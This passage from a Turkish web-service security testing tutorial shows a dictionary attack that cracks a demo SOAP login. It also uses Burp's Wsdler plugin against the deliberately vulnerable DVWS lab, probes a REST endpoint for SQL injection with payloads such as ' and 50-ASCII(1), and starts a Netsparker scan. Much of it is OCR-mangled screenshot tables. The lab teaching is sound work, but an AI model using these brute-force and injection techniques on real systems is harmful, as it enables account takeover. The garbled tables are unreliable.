| | These settir | 1 17 | xyz | | | Login123 | 5 | 2 | 00 | | | 489 | V | | | | |
| G | | 16 | den | eme | | Login123 | , | 2 | 00 | | | 489 | V | | | | |
| | Note: Some | 15 | awe | rty | | parola12 | * | 2 | 00 | | | 489 | V | | J | | |
| | Alexander | 14 | Log | in | | , parola12 | * | 2 | 00 | | | 489 | | | | | |
| | Number or | 13 | xyz | | | parola12 | * | 2 | 00 | | | 489 | V | | | | |
| | Number of | 12 | abc | | | parola12 | * | 2 | 00 | | | 489 | v | | | | I |
| | | 11 | den | eme | | parola12 | * | 2 | 00 | | | 489 | V | | ¥. | | |
| | Pause befor | | nwe | nv | | nass173 | | ~ ~ ~ | 00 | | | 499 | | | | | |
| | Throttle (mi | Reg | Jest Res | onse | | | | | | | | | | | | | L |
| | moule (m | | 1 | T. T. | | | | | | | | | | | - | | L |
| | | Raw | Headers | Hex X | 4L | | | | | | | | | | _ | | L |
| | - | HTTP/ | 1.1 200 0 | ж +1. | | | | | | | | | | | 1 | | |
| | Start time: | Conter | nt-Type: nt-Lenath | : 382 | charset= | uti-8 | | | | | | | | | | | L |
| | | Conne | ction: cl | ose | | | | | | | | | | | | | |
| | | Serve | r: Jetty(| 6.1.26) | | | | | | | | | | | | | L |
| | | <soan< td=""><td>env:Envel</td><td>ope xmlns</td><td>:soapenv=</td><td>"http://sch</td><td>nemas.xml</td><td>soap.org/sc</td><td>ap/envelo</td><td>ppe/</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></soan<> | env:Envel | ope xmlns | :soapenv= | "http://sch | nemas.xml | soap.org/sc | ap/envelo | ppe/ | | | | | | | |
| | | xmlns | sam="htt | p://www.s | oapui.org | /sample/"> | | p | | 1.77 | | | | | | | |
| ? | Attack Re | <soa< td=""><td>penv:Body</td><td>></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></soa<> | penv:Body | > | | | | | | | | | | | | | |
| (* | These settir | <soa <fau< td=""><td>benv:Faul tcode>C</td><td>t> ient<td>ltcode></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></td></fau<></soa | benv:Faul tcode>C | t> ient <td>ltcode></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> | ltcode> | | | | | | | | | | | | |
| | Store re | <fau< td=""><td>ltstring></td><td>Already L</td><td>.ogin</td></fau<> <td>ltstring></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>1</td> <td></td> <td>1</td> | ltstring> | Already L | .ogin | ltstring> | | | | | | | | | 1 | | 1 |
| | Store re | -det | il> Č | | | | | | | | | | | _ | ۳ | | |
| | Moke up | ? | < + | | ype a sean | ch term | | | | | | | | 0 match | nes | | 1 |
| | | Finishe | ed 📃 | | | | | | | | | | | | | | |
| | Store fu | Il navloa | de | | | | | | | | | | | | | | |
| | Store Iu | n haàioa | 49 | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | |
| ? | Grep - Ma | atch | | | | | | | | | | | | | | | U |
| | Those settir | are can | he used to | flag result i | iteme conta | ining enerifie | d ovoroeeio | ne | | | | | | | | | v |

Saldırı Sonlanır

Saldırı tamamlandığında görüldüğü gibi bir hesap ele geçecektir:

Kullanıcı Adı: Login Parola: Login123.

Sonuç olarak SoapUI yazılımında demo bir soap web servisin arayüzünü / kapsamını kullanarak bir xml talebini inceledik ve xml talep paketini Burpsuite'e yönlendirerek hedef demo soap web servisin login noktasına sözlük saldırısı (şifre kırma saldırısı) düzenledik. Bu şekilde soap web servise ait bir hesap ele geçirmiş olduk.

Uyarı:

Demo soap web servisi tasarımı gereği bazı geçersiz hesap denemelerinde oturum açmış görünmektedir. Bu örnek olarak tasarlanmış soap web servisin yapısından kaynaklanmaktadır ve brute force / dictionary ile hesap ele geçirme konseptinde olunduğundan ona değinilmemiştir.

Bu uygulamada olduğu gibi web servislerine giden talep paketlerinin paket başlıkları, paket gövdesindeki xml node'ları, ve url'deki parametreler kurcalanarak web servislerine saldırı testleri uygulanabilir.

5.3.2 Burpsuite Yazılımı

5.3.2.1 Burpsuite ile SOAP Web Servis Testi

Bu uygulamada burpsuite'in "wsdler" eklentisi yardımıyla dvws isimli kasıtlı zafiyetler içeren soap web servisinin bir açıklık barındıran uç noktası (endpoint'ti) test edilecektir.

Kullanılan Materyaller

| Ubuntu 18.04 LTS | // Fiziksel Makina |
|--------------------------------|-----------------------------|
| Burpsuite, Wsdler Plugin | // Güvenlik Testi Aracı |
| DVWS - Windows 10 Home Premium | // Zafiyetli Web Servisi VM |

Not: Kasıtlı zafiyetler içeren DVWS web servisi eski kaldığından sadece eski php versiyon 5.5.38'de servisleri düzgün çalışır durumdadır.

Not 2: Ubuntu 18.04 LTS'ye Burpsuite kurulumu için bkz. <u>Burpsuite'i Linux (Ubuntu</u> 18.04 LTS) <u>Sisteme Kurma</u>

Not 3: Burpsuite'e WSDLER eklentisi kurmak için bkz. <u>Burpsuite'e WSDLER Eklentisini</u> <u>Kurma</u>.

Not 4: DVWS kasıtlı zafiyetler içeren web uygulamasının Windows 10 Home Premium'a kurulumu için bkz. <u>EK > DVWS Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma</u>.

Hedef güvenlik açıklıklı dvws web servisinin ilgili sayfasına bir göz atalım.

| ies 🐞 Firefox Web Browser 🕶 | | | - 6 6 7 | 46 🗵 | |
|---|--|---|-----------------------|------|---|
| WSDL Enumeration × | | | | | |
| $\leftrightarrow \rightarrow \circ \otimes$ | C & 192.168.0.37/dvws/vulnerabilities/wsdlenum/ | 田☆ | 0 | 0 | = |
| | | | | | |
| | WSDL Enumeration | | | | |
| | Most SOAP services are deployed to process requests given by a user through a web application. In common scenarios, the WSDL life is not exposed to the p enumerate and and look for hidden services used by the web application. | oublic. However, if an attacker can access an application's WSD | L file, he can try to | | |
| | WSDL enumeration aims to discover non-public web services by retrieving their WSDL file. | | | | |
| | More Information | | | | |
| | traps://www.owspi.org/index.php/Testing_WSDL_(OWASP-WS-002) | | | | |
| | http://www.ws-attacks.org/index.php/WSDL_Disclosure The below form submits a value to be processed by the back-end SCAP service. Try to scan the WSDL file and look for other requests being processed by the | SOAP service Click here to view the WSDL of the application. | | | |
| | Smartphone OS Market Share | | | | |
| | OAndreid Clos | 1 | | | |
| | CWindows Phone | / | | | |
| | Conters | / | | | |
| | Submit Query | | | | |
| | | | | | |
| Server Side Request Forgery | | | | | |
| REST API SQL Injection | | | | | |
| | | | | | |
| | | | | | |
| | | | | | |
| | | | | | |
| | | | | | |
| | | With With With With With With With With | | | All David Section All David Section |

DVWS'nin bu sayfasında uç noktada yer alan soap web servisin WSDL dosyasının elde edildiği varsayılmaktadır. Bu varsayıma göre sayfada sunulan WSDL dosyasını alacağız. Ardından Burpsuite'e Wsdler eklentisi yardımıyla hedef dvws soap web servisinin arayüzünü / kapsamını yükleyeceğiz. Bu şekilde örnek xml talepleri elde edeceğiz ve bu talepleri güvenlik testi amacıyla kullanacağız.

Şimdi dvws web servisi trafiğini Burpsuite üzerinden geçirelim ve hedef soap web servisinin wsdl

dosyasını barındırdığı url'yi ziyaret edip paketi burpsuite'te yakalayalım.



WSDL Dosyası URL'si Paylaşımı



Hedef Web Servisi Arayüzü / Kapsamı Dosyası



Hedef Web Servisi Arayüzü / Kapsamı Dosyası Talep Paketi Önünü Kesme

Burp ile yakaladığımız wsdl dosyasına giden talep paketine sağ tık yapalım ve Parse WSDL seçeneğine tıklayalım.

| | | _ | Burp S <u>uit</u> | e Comm <u>u</u> | nity Edit <u>ion</u> | 1 v1.7.36 <u>- T</u> | emporary P <u>roje</u> e | :t | | _ | | e e 🛛 |
|------------------------------------|--------------------|---------------|-------------------|-----------------|----------------------|----------------------|--------------------------|--------------|--------|---------|-----------|-----------|
| Burp Intruder Repeater Window | Help | _ | | _ | | | | | | | | |
| Target Proxy Spider Scanne | er Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts | Wsdler | | |
| Intercept HTTP history WebSo | ckets history | Options | | | | | | | | | | |
| Request to http://192.168.0.32 | 7:80 | | | | | | | | | | | |
| Forward Drop | Intercer | at is on | Action | | | | | | | Comment | this item | |
| | | | Action | | | | | | | | | |
| GET (dues (will perablilities (ver | dlopum/corv | ico pho?u | ed] UTTD/1 | | | | | | | | | |
| Host: 192.168.0.37 | a centuiity ser v | rce.hub.w | SUL HIP/1. | | | | | | | | | - f |
| User Agent: Mozilla/5.0 (X11 | ; Linux x86 | _64; rv:9 | 1.0) Gecko/ | 20100101 | Firefox/91 | L.O | | | | | | |
| Accept: text/html,application | n∕xhtml+xml ⊃ ⊑ | ,applicat | ion/xml;q=0 | .9,1mage/ | webp,*/*;c | q=0.8 | | | | | | |
| Accept-Encoding: gzip. defl | Condito Co | ider | | | | | | | | | | |
| Referer: http://192.168.0.3 | Send to Sp | older | | | | | | | | | | |
| Connection: close | Do an activ | /e scan | | | | | | | | | | |
| Upgrade-Insecure-Requests: | Send to Int | ruder | | Ctri+i | | | | | | | | |
| Cache-Control: max-age=0 | Send to Re | peater | | Ctri+R | | | | | | | | |
| | Send to Se | equencer | | | | | | | | | | |
| | Send to Co | mparer | | | | | | | | | | |
| | Send to De | ecoder | | | | | | | | | | |
| | Request in | browser | | | • | | | | | | | |
| | Parse WSD | | | - | - | | | | | | | |
| | Engageme | nt tools [Pri | o version only | | • | | | | | | | |
| | Change red | quest meth | od | | | | | | | | | |
| | Change bo | dy encoding | 9 | | | | | | | | | |
| | Copy URL | | | | | | | | | | | |
| | Copy as cu | irl commani | 9 | | | | | | | | | |
| | Copy to file | | | | | | | | | | | |
| | Paste from | file | | | | | | | | | | |
| | Save item | | | | _ | | | | | | | |
| | Don't inter | cept reques | ts | | • | | | | | | | |
| | Do intercep | ot | | | • | | | | | | | |
| | Convert se | lection | | | ▶ | | | | | | | |
| | URL-encod | e as you ty | pe | | | | | | | | | |
| | Cut | | | Ctrl+X | | | | | | | | |
| | Сору | | | Ctrl+C | | | | | | | | |
| | Paste | | | Ctrl+V | · | | | | | | | I |
| | Message e | ditor help | | | | | | | | | | |
| | Proxy inter | ception help |) | | | | | | | | | I |
| | | | | | | | | | | | | I |
| | | | | | | | | | | | | |
| | eeorch term | | | | | | | | | | | 0 matche |
| Type a | search term | | _ | | | | | | | | | o matches |

WSDL Talep Paketinde Wsdler'in Çalışması ve Yanıt Paketini Parse Etmesi

| Burp Suite Community Edition v1.7.36 - Temporary Project | |
|--|-----------|
| Burp Intruder Repeater Window Help | |
| Target Provy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts Widler | |
| Intercept HTTP history WebSockets history Options | |
| Request to http://192.168.0.37:80 | |
| Forward Drop Intercept is on Action Comment this item | : ? |
| Raw Params Headers Hex | |
| GET /dvs/vulnerabilities/vsdlenum/service.php?wsdl HTTP/1.1 | , A |
| HOST: 1927108.0.37 USer-Agent: Mozilla/5.0 (X11; Linux x86_54; rv:91.0) Gecko/20100101 Firefox/91.0 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept:.bus.enguade: en-US.engu=0.5. | |
| Accept-Encoding: gaip, deflate | |
| Reter: ntc)/152/108/0.3/dWs/Vuteraditites/wsdemum/ | |
| Upgrade-Insecure-Requests: 1 | |
| Cache-Control: max-age=O | |
| | |
| - | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | ¥ |
| 7 < + > Type a search term | 0 matches |

Hedef DVWS Web Servisin WSDL Dosyasını Parse Etmesi ve Eklenti Penceresine Bilgilerin Gelmesi

Bu şekilde wsdler eklentisi yardımıyla hedef soap web servisin arayüzünü / kapsamını elde ederiz.

| | Burp Suite Community Edition v1.7.3 | .36 - Temporary Project | • |
|--|---|--|----------------|
| Burp Intruder Repeater Window Help | | ander Deviet entings Lines antions Alexte Utedar | |
| service X service X | Repeater Sequencer Decoder Comparer Excen | ander Project options Oser options Paerts Wadeer | |
| peration | Binding | Endpoint | |
| letum price | DVWA Web Service Binding | | |
| heck_user_id opulation | DVWA Web Service Binding DVWA Web Service Binding | http://192.168.0.37/d/ws/vulnerabilities/wsdlenum/sen http://192.168.0.37/d/ws/vulnerabilities/wsdlenum/sen | vice. vice. |
| Request Rew Params Headers Hex XML ST /dws/vulnerabilities/wsllemm/see er-Agent POIIJa/50 (XIII Linux XB | тчісе, рфр. НТТР/1.1 6 64; гч:91,0) Gecko/2010010 Firefox/91,0 | | |
| cept: sex/html.application/html+kml cept-Language: en-US_en;20-0.5 cept-Encoding: gip, deflate freer: http://102.108.0.37/dvws/vuln maction: close html:/charactication/ APAction: http://102.108.0.37/dvws/vu APAction: http://102.108.0.37/dvws/v APAction: http://102.108.0.37/dvws/v st: 102.108.0.37 ntent-Lengt: 414 | [,application/well;qu0.0,image/webp,*/*;qu0.0 erabilities/wedlenum/ ulnerabilities/wedlenum/service.php/Peturn_pr | I | |
| <pre>capenv:Envelope xmlns:xsi="http://www ins:soppenv="http://schemas.xmlsop.c «soppenv:Bedgr/» «soppenv:Bedgr/» «Return_price soppenv:encodingSt «Return_prices «/%coppenv:Bedgr %soppenv:Envelope»</pre> | w.v3.org/2001/XM.Schema.instance" xmlns:ssde" org/xsap/envelopy/rs yle="http://schemas.xmlsoap.org/soap/encoding aro et=/names | "http://www.w3.org/2001/XMLSchema" "g/"> | |
| 2 C + Time a search term | | | mat |

Listelenen 3 adet örnek xml taleplerini repeater'a, intruder'a,... yollayarak güvenlik testleri uygulanabilir. Örneğin Return_price xml talep paketini repeater'a gönderelim ve talep paketinin gövdesindeki xml node değerini kurcalayalım.





(Not: Return_Price arguman değerleri dvws ilgili sayfasının sunduğu ekrandaki radio button'ların name attribute'unlarından elde edilmiştir).

Bu şekilde testler uygulanarak gelen yanıtlar izlenebilir ve açıklık aranabilir.

Bilgi:

Burpsuite wsdler eklentisi SoapUI yazılımı ihtiyacını kaldırmak için ve SoapUI yazılımı olmadan Burspuite'te soap web servisleri arayüzünü / kapsamını yükleyebilmek ve güvenlik testleri uygulayabilmek için geliştirilmiş bir eklentidir.

5.3.2.2 Burpsuite ile REST Web Servis Testi

Bu uygulamada burpsuite ile kasıtlı zafiyetler içeren dvws web servisinin bir ders sayfasındaki uç noktada yer alan rest web servisi test edilecektir.

Kullanılan Materyaller

| Ubuntu 18.04 LTS | // Fiziksel Makina |
|--------------------------------|-----------------------------|
| Burpsuite | // Güvenlik Testi Aracı |
| DVWS - Windows 10 Home Premium | // Zafiyetli Web Servisi VM |

Not: Kasıtlı zafiyetler içeren DVWS web servisi eski kaldığından sadece eski php versiyon 5.5.38'de uygulamaları düzgün çalışır durumdadır.

Not 2: Ubuntu 18.04 LTS'ye Burpsuite kurulumu için bkz. <u>Burpsuite'i Linux (Ubuntu</u> 18.04 LTS) Sisteme Kurma

Not 3: DVWS kasıtlı zafiyetler içeren web uygulamasının Windows 10 Home Premium'a kurulumu için bkz. <u>EK > DVWS Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma</u>.

Uyarı: Demoda kullanılacak DVWS web servisinin sql enjeksiyonu açıklığına sahip rest api endpoint'inde (uç noktasında) bug (hata) mevcuttur. Hata "No Database Selected" şeklinde ekrana gelmektedir. Hatanın (bug'ın) kaynak kodda düzenlemeler yaparak giderilmesi için bkz. <u>DVWS SQLi Açıklıklı Rest API Uç Noktasındaki Hatanın (Bug'ın)</u> <u>Giderilmesi</u>.

Öncelikle dvws web servisindeki ilgili sayfaya bir göz atalım.



DVWS Web Servisindeki REST Web Servisi Kısmı

Bir URL verilmiş. Bu rest web servise ait URL ile URL'deki parametreye verilen değere göre arkada veritabanından çekilen veri json formatında getirilmektedir.



REST Web Servis URL Parametresi 2 iken Gelen Veri



Rest Web Servis URL Parametresi 3 iken Gelen Veri

DVWS'nin bu ders sayfası ekranında rest web servise ait url'deki 2 parametresinde sql enjeksiyonu açıklığı sunulmaktadır.

Şimdi Burpsuite ile bu rest web servisi test edelim ve sql enjeksiyonu açıklığını tespit edelim.



Rest Web Servis Endpoint URL'si Http Talep Paketi Yakalanır



Rest Web Servis Endpoint URL'si Http Talep Paketi Repeater'a Atılır

2 parametresindeki değere göre json yanıt gelmektedir. 2 parametresine bir sql keyword ifadesi girelim ve girilen sql ifadesi çalışıyor mu test edelim.

Girilen Zararlı (Payload): '

| Burp Intruder Repeater Window Help Target Proxy [Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts Wisdler 1 2 2 3 4 0 5 6 Go Cancel < >> Frequest Request Rew Headers Hex GET /dvs/vulnerabilities/sqli/api,php/users/* HTTP/1.1 HTTP/1.1 200 KD HTTP/1.1 200 KD Preference Reflection (Line and Comparent Project options) User options (Line and Comparent Project options) Target: http://192.168.71.12 User options (Line and Comparent Project options) Direfor (Jobs) User options (Line and Comparent Project options) Direfor (Jobs) Direfor (Jobs) Direfor (Jobs) Direfor (Jobs) Direction (Line and Comparent Projection) Direction: (Classic) Content-Length: 120 Content-Length: 120 Content-Length: 120 Content-Length: 120 Content-Length: 120 | _ |
|---|--------------------|
| Target Provy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts Wodler 1 × 2 × 3 × 4 × 5 × 6 m Image: Sequencer Decoder Comparer Extender Project options User options Alerts Wodler Go Cancel < * > * Target: http://192.168.71.12 # Request Response Response Not: 102.168.71.12 HTTP/1.1 OK User-Agent: Hozilla/5.0 (XII) Linux X86_G34.191.0) Gecko/20100101 HTTP/1.1 200 K Bare Headers Hex HTTP/1.0 HTTP/1.1 HTTP/1.1.2 HTTP/1.1200 K User-Agent: Hozilla/5.0 (XII) Linux X86_G34.191.0) Gecko/20100101 Firefox/91.0 Server: Apached 2021.20:55:21 GMT Katy.html.application/xhtml+xml.application/xhtml,qn0.9,image/webp,*/*;q= Content-Length: 150 Content-Length: 150 | |
| I Z 3 4 5 6 Go Cancel V Target: http://192.168.71.12 # Request Response Raw Headers Heat HTTP/1.1 CO K Dest: 12.15.0 S.7.12 Max Headers Heat Headers Heat Infervior Dest: S.7.10 Concent - Length HTTP/1.1 Concent - Length HTTP/1.1.200 Concent - Length HTTP/1.1200 Concent - Length Dest: S.7.042 Ventor S.7.042 Concent - Length: 15.5.38 Concent - Length: 15.5.38 Concention: Concen | |
| Go Cancel < > Target: http://192.168.71.12 Request Baw Headers Hex Response GET /dyws/vulnerabilistas/sqli/api.php/users// HTTP/1.1 HTTP/1.1200K User /sapnt: Mozilla/S.0 (X11; Linux x86 64/1v:91.0) Gecko/20100101 HTTP/1.1200K Firefox/91.0 Server: Apache/2.4.23 (Win32) OpenSL/1.0.2h PHP/5.5.38 Accept: Content-Length: 150 Content-Length: 150 Content-Length: 150 | |
| Raw Headers Hex Raw Headers Hex Raw Headers Hex GET /dvs:/vilnerabilities/sqli/api.php/users/! HTTP/1.1 HTTP/1.1 200 0K User-Agent: Novilla's.0 (X11; Linux x86_54/miv:91.0) Gecko/20100101 Http://dimensional.com/provision//dimensional.com/provision//dimensional.com/provision//dimensional.com/provision//dimensional.com/provision//dimensional.com/provision//dimensional.com/provision//dimensional.com/provision//dimensional.com/provision//dimensional.com/provision//dimensional.com/provision//dimensional.com/provisiona.com/provisional.com/provisional.com/provisiona.com/pro | ? |
| Raw (Headers Hex Raw (Headers Hex Gaw (Headers Hex Raw (Headers Hex Gar /dws/winnerabilities/sqli/api.php/users/1 HTP/1.1 HTP/1.1 200 0K User-Agent: Hozill5.0 (X11; Linux x86_64/miv:91.0) Gecko/20100101 Server: Apache/2.4.232 (Win32) OpenSSL/1.0.2h PHP/5.5.38 Accept: text/ntl.application/xhtml+xml.applicat | |
| U-8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzp, offlate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: taxt/ntmL You have an error in your SQL syntax; check the manual that corresponds to your HeriaDB server version for the right syntax to use near ''' at line 1 | |
| ? + > Type a search term 0 matches Done 2 + > Type a search term 0 matches | itches 2 millis |

Girilen Zararlı (Payload): 1

| Burp Suite Community Edition | on v1.7.36 - Temporary Project 🛛 🔅 🔕 |
|---|---|
| Burp Intruder Repeater Window Help | |
| Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Compare | r Extender Project options User options Alerts Wsdler |
| 1 × 2 × 3 × 4 × 5 × | |
| Go Cancel < Y > Y | Target: http://192.168.0.37 🖉 ? |
| Request | Response |
| Raw Headers Hex | Raw Headers Hex |
| <pre>GET /dves/vulnerabilities/sql1/api.php/users/1 HTTP/1.1 4 Host: 102.168.0.37 User-Agent: Mozilla/5.0 (X11; Linux x80.20 rv:91.0) Gecko/2010010 Firefox/91.0 Accept: text/html.application/xhtml+xml.application/xml;q=0.9,image/webp,*/*;q= 0.8 Accept-Encoding: gzip, deflatt Connection: close Referer: http://152.108.0 //dvws/vulnerabilities/sqli/ Upgrade-Insecure-Request.1</pre> | <pre>HTTP/1.1 200 CK</pre> |
| ? < + > Type a search term 0 matches | ? < + > Type a search term 0 matches |
| Done | 246 bytes 14 millis |

Girilen Zararlı (Payload): 50 - ASCII(1)

| Burp Intruder Repeater Window Help | |
|--|---|
| Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Compare | Extender Project options User options Alerts Wsdler |
| | |
| | |
| Go Cancel < v > v | Target: http://192.168.0.37 🌌 🙎 |
| Request | Response |
| Raw Headers Hex | Raw Headers Hex |
| GET /dvws/vulnerabilties/sqli/spi.php/veers/50.ASCII(1) HTTP/1.1 4 Host: 192.168.0.37 User-Agent: Mozilla/S.0 (X11; Linux x86_G4T):91.0) Gecko/20100101 Firefox/10. Accept: test/html.splication/xhtml+xml.applics/fon/xml;q=0.9,image/webp.*/*;q= 0.copt:Language: en-US_en:qn0.5 Accept:Encoding:gzip, deflate Connection: close Pefore: http://192.168.0.37/dvws/nulnerabilities/sqli/ Upgrade-Insecure-Requests: 1 | <pre>imtTP/1.1 200 CK</pre> |
| 2 C + > Type a search term 0 matches | Type a search term O matches Ze bres 14 milis |

İlk payload'da tırnak karakteri sql hatası döndürmüştür. Demek ki tırnak karakteri sql ifadesi olarak işlenmiştir ve fazla tırnak ile sql hatasına sebep olmuştur. İkinci payload'da 1 ifadesi girilmiştir ve karşılık olarak 1 kaydı dönmüştür. Üçüncü payload'da ise ASCII(1) sql ifadesi girilmiştir. Bu sql ifadesi değeri 49'a eşittir. 50-ASCII(1) ile 50'den 49 çıkarıldığında 1 kalacaktır ve 1 kaydı yine

yanıt olarak dönecektir. 1 payload'u ile 50-ASCII(1) payload'u aynı çıktıyı verdiğinden ASCII() sql ifadesi olarak çalışmıştır. Demek ki sql enjeksiyonu açıklığı var. Bu tespit sonrası sql ifadeleri uygun şekilde girilerek sql enjeksiyonu gerçekleştirilebilir.

Bu şekilde Burpsuite ile rest web servisi güvenlik testleri uygulanabilir.

5.3.3 Netsparker Yazılımı

5.3.3.1 Netsparker ile SOAP Web Servis Testi

Bu uygulamada Netsparker yazılımı ile kasıtlı zafiyetler içeren dvws web servisinin bir ders sayfasındaki uç noktada yer alan hedef soap web servisi test edilecektir.

Kullanılan Materyaller

| Ubuntu 18.04 LTS | // Fiziksel Makina |
|--------------------------------|-----------------------------|
| Netsparker | // Güvenlik Testi Aracı VM |
| DVWS - Windows 10 Home Premium | // Zafiyetli Web Servisi VM |

Not: Kasıtlı zafiyetler içeren DVWS web servisi eski kaldığından sadece eski php versiyon 5.5.38'de uygulamaları düzgün çalışır durumdadır.

Not 2: DVWS kasıtlı zafiyetler içeren web uygulamasının Windows 10 Home Premium'a kurulumu için bkz. <u>EK > DVWS Web API'yi Windows'a (Windows 10 Home Premium</u> <u>Sürümüne) Kurma</u>.

Netsparker ile soap web servis tarayabilmek için soap web servislerde arayüz / kapsam sunan WSDL dosyasını Netsparker tarama ayarlarından Import Links seçeneği ile yüklemek gerekmektedir. Bu şekilde Netsparker otomatize tarama aracı soap web servisin arayüzünü / kapsamını görebilecektir ve saldırı testlerini uygulayabilecektir.

Öncelikle hedef dvws soap web servisinin WSDL dosyasını elde edelim.





WSDL dosyasını kaydedelim: service.xml. Ardından Netsparker'da yeni tarama başlat penceresini açalım hedef web servis url'sini girelim.

| Start a New Website or Web Ser | vice Scan | |
|--|---|----------|
| Target Website or Web Servic | e URL | |
| http://192.168.0.15/dvws/ | - 戻 💽 Previous | Settings |
| Options | | |
| Scan Settings | Scan Policy | |
| ✓ General ✓ Scope ✓ Additional Websites ✓ Imported Links ✓ URL Rewrite ✓ Pre-Request Script ✓ Shark (IAST) | Default Security Checks Report Rolicy Default Report Policy Custom Cookies | • ··· /* |
| Authentication Form Sasic, NTLM/Kerberos Header Client Certificate Smart Card OAuth2 Manual | Crawling ✓ Find & Follow New Links Crawl & Attack at the Same Time ✓ Pause Scan After Crawling incremental Scan | |
| | Crawl and Wait * | Cancel |

Daha sonra hedef soap web servisin arayüzünü / kapsamını yükleyelim.

| Start a New Website or Web Ser | rvice Scan | • × |
|--------------------------------|--|---|
| Target Website or Web Service | e URL 2 | |
| http://192.168.0.15/dvws/ | | ▼ |
| Options | | |
| Scan Settings | Imported Links | |
| 🖋 General | 🕂 Add 🥒 Edit 💥 Delete 📑 Clear 🔍 Sea | ch Import From File - Enter Links |
| Scope | Method LIBI | ASP.NET Project File |
| Additional Websites | Method one | Burp |
| C Imported Links | | Comma Separated Values (CSV) |
| ORL Rewrite | | Fiddler |
| Pre-Request Script | | HTTP Archive |
| Jh Shark (IAST) | | /O Docs |
| Authentication | | Netsparker Session File |
| Form | | OWASP ZAP |
| Basic, NTLM/Kerberos | | Postman |
| 🔚 Header | | |
| Client Certificate | | OpenAPI (formerly Swagger) |
| Smart Card | | (A) Web Application Description Language (WADL) |
| OAuth2 | Scan se 3 ules will be applied to import | ed lin Mark Service Definition Language (WADL) |
| rvianuai | | Web Service Deminion Language (WSDL) |
| | | |
| | | Crawl and Wart Cancel Overall Activity |



| Target Website or Web Servi | ice URL | |
|--|---|------|
| - http://192.168.0.15/dvws/ | 👻 🖵 💓 🗲 Previous Setti | ngs |
| Options | | |
| can Settings | Imported Links | |
| General | Add Add Edit Y Delete 🕞 Clear O Search Import From File - Enter Li | nke |
| Scope | | IIKS |
| Additional Websites | Method URL | |
| Imported Links (3) | POST http://192.168.0.15/dvws/vulnerabilities/wsdlenum/service.php | |
| LIPL Powrite | POST http://192.168.0.15/dvws/vulnerabilities/wsdlenum/service.php | |
| | POST http://192.168.0.15/dvws/vulnerabilities/wsdlenum/service.php | |
| Pre-Request Script | | |
| Shark (IAST) | | |
| uthentication | 2 | |
| | | |
| EOIT | | |
| Porm | | |
| Basic, NTLM/Kerberos | | |
| Basic, NTLM/Kerberos Header | | |
| Basic, NTLM/Kerberos Header Client Certificate | | |
| Form Basic, NTLM/Kerberos Header Client Certificate Smart Card | ③ 3 link(s) successfully imported. | × |
| Basic, NTLM/Kerberos Header Client Certificate Smart Card OAuth2 | ③ 3 link(s) successfully imported. | × |
| Porm Basic, NTLM/Kerberos Header Client Certificate Smart Card OAuth2 Manual | 3 link(s) successfully imported. Scan scope rules will be applied to imported links during the scan. | × |
| Porm Basic, NTLM/Kerberos Header Client Certificate Smart Card OAuth2 Manual | 3 link(s) successfully imported. Scan scope rules will be applied to imported links during the scan. | × |

Arayüz / Kapsam dosyası yüklemesi sonrası hedef dvws soap web sevise ait 3 adet link eklenir. Bu linkler hedef dvws soap web servisinin kabul ettiği xml talep paketleri şeklinde listelenecektir.

| | e URL | Fdit Link | |
|--|----------------|--|--------------|
| http://192.168.0.15/dvws/ | | | |
| Options | | Builder Raw Hex View | |
| Scan Settings | Imported Links | POST - HTTP - 192.168.0.15 80 + //dvws/vulnerabilities/wsdlenum | /service.php |
| 🖗 General | Add / Edit | Enabled Type 🐁 Name 🐁 Value | Encoded |
|) Scope | Undu y cuit | Headers | |
| Additional Websites | Method URL | Wander a Wort 102168.0.15 | |
| Imported Links (3) | POST http:// | Header SOAPAction "http://192.168.0.15/dvws/vulnerabilities/wsdlenum/service.php/Return_price" | v |
| | 1031 http:// | | |
| URL Rewrite Pre-Request Script | POST http:// | | |
| URL Rewrite Pre-Request Script Shark (IAST) | POST http:// | Packet Header | |
| URL Rewrite Pre-Request Script Shark (IAST) uthentication Form | POST http:// | Packet Header | |
| VIRL Rewrite Pre-Request Script Shark (IAST) uthentication Form Basic, NTLM/Kerberos | POST http:// | Cosap Body scapeercodingStyle="http://schemas.xmlsoap.org/scap/encoding"> Packet Header | |
| URL Rewrite Pre-Request Script Shark (IAST) uthentication Form Basic, NTLM/Kerberos Header | POST http:// | SoapBody soapencodingRyle="http://schemas.misoap.org/soap/encoding/"> Packet Header | |
| 9 URL Rewrite 9 Pre-Request Script 4, Shark (IAST) 4thentication 9 Form 9 Basic, NTLM/Kerberos 1 Header 1 Client Certificate | POST http:// | Packet Header Sossp.Body scapencodingSyle="http://schemas.unboap.org/scap/encoding/"> Packet Header Sossp.Body scapencodingSyle="http://schemas.unboap.org/scap/encoding/"> Packet | |
